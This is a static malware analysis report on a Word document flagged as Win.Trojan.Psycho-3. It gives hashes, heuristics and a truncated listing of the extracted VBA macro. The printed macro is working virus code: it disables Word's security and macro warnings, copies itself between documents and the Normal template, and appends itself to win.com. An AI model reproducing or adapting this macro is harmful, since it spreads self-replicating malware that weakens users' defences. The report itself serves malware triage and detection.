Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 b7e429d1d08ece54…

MALICIOUS

Office (OLE)

35.5 KB Created: 2000-10-10 19:07:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: d2caed438e258b502ffdcf579b5277df SHA-1: af56a6f370697ef1f8ca9d655776d33fe3e60af1 SHA-256: b7e429d1d08ece5450c1512ddc3f09e375f5eda59199c330d616ea114258b6b8
140 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoClose subroutine, which is a common technique for executing malicious code upon document closure. The macro attempts to disable security warnings and modify application settings, likely to facilitate the execution of a secondary payload. The ClamAV detection name 'Win.Trojan.Psycho-3' strongly suggests a known trojan.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4417 bytes
SHA-256: 49006aed619edc54d8788b213fc85d36539b727ec49eaec02dd634f8e002e01f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KRRPIPQP"
'module
Dim osdir As String, casual As String, TheString As String, targdir As String, target As String
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long: dwMajorVersion As Long: dwMinorVersion As Long: dwBuildNumber As Long: dwPlatformId As Long
szCSDVersion As String * 128
End Type
Sub AutoClose()
On Error Resume Next
Randomize
Dim sh As Integer, x As Integer, y As String
sh = (0 * Rnd)
Set myopt = Options: Set myap = Application: Set mys = System
mys.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
myopt.VirusProtection = sh: myopt.SaveNormalPrompt = sh
myap.EnableCancelKey = wCancelDisabled: myap.DisplayStatusBar = sh
myap.ScreenUpdating = sh: myap.DisplayAlerts = wdAlertsNone
myap.ScreenUpdating = sh
CommandBars("Tools").Controls("Macro").Delete
count = 10: While count > 2
x = Int((85 - 100 + 1) * Rnd + 85): y = Chr(x)
casual = casual + y: count = count - 1: Wend
Set AD = ActiveDocument.VBProject.VBComponents
Set NT = NormalTemplate.VBProject.VBComponents
osdir = GetWindows
Call getOS
target = osdir & targdir & "win.com"
Call Verify(target)
Ego = "'module"
For i = 1 To NT.count
If NT(i).CodeModule _
.lines(1, 1) = Ego Then NTOK = True
Next i
For i = 1 To AD.count
If AD(i).CodeModule _
.lines(1, 1) = Ego Then DocOK = True
Next i
If DocOK = True And NTOK = False Then
For i = 1 To NT.count
Nam = NT(i).Name
Next i
With myap.NormalTemplate.VBProject
             .VBComponents.Remove .VBComponents(Nam)
    End With
Call FindAtts(target)
NT.Add 1
NT(2).Name = (casual)
NT(casual).CodeModule.AddFromString (TheString)
End If
 If DocOK = False And NTOK = True Then
For i = 1 To AD.count
Nam = AD(i).Name
Next i
With myap.ActiveDocument.VBProject
            .VBComponents.Remove .VBComponents(Nam)
End With
Call FindAtts(target)
AD.Add 1
AD(2).Name = (casual)
AD(casual).CodeModule.AddFromString (TheString)
End If
End Sub
Public Function GetWindows() As String
Dim v As String: Dim y As Long
v = String$(144, 0): y = GetWindowsDirectory(v, Len(v))
If y = 0 Then
GetWindows = 0
Else
GetWindows = Left(v, y)
End If
End Function
Public Function Attach(D$)
Open D$ For Binary As 1
Seek #1, LOF(1) + 1
mystr$ = ThisDocument.VBProject.VBComponents(2).CodeModule.lines(1, 138)
Put #1, , Chr(42) + Chr(95) + Chr(95) + Chr(42) & mystr$ & Chr(42) + Chr(95) + Chr(95) + Chr(42)
Close
End Function
Public Function Verify(target As String)
Dim TheString As String: Dim f As Long
f = 1
Open target For Binary As #1
TheString = String$(LOF(1), 0)
Get #1, 1, TheString
s = InStr(f, TheString, (Chr(42) + Chr(95) + Chr(95) + Chr(42)))
Close #1
If s Then
Close
Else:
Call Attach(target)
End If
End Function
Public Function FindAtts(target As String)
Dim St, fi, Siz, f As Long
f = 1
Open target For Binary As #1
TheString = String$(LOF(1), 0)
Get #1, 1, TheString
s = InStr(f, TheString, (Chr(42) + Chr(95) + Chr(95) + Chr(42)))
f = InStr(s + 1, TheString, (Chr(42) + Chr(95) + Chr(95) + Chr(42)))
If s And f Then
St = s + 4: fi = f: Siz = f - (s + 4)
End If
leftPart$ = Left$(TheString, fi): rightpart$ = Mid$(TheString, St, Siz)
TheString = rightpart$
Close #1
End Function
Private Function getOS() As String
Dim osinfo As OSVERSIONINFO: Dim retvalue As Integer
osinfo.dwOSVersionInfoSize = 148: osinfo.szCSDVersion = Space$(128)
retvalue = GetVersionExA(osinfo)
With osinfo
Select Case .dwPlatformId
Case 1
If .dwMinorVersion = 0 Then
targdir = "
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.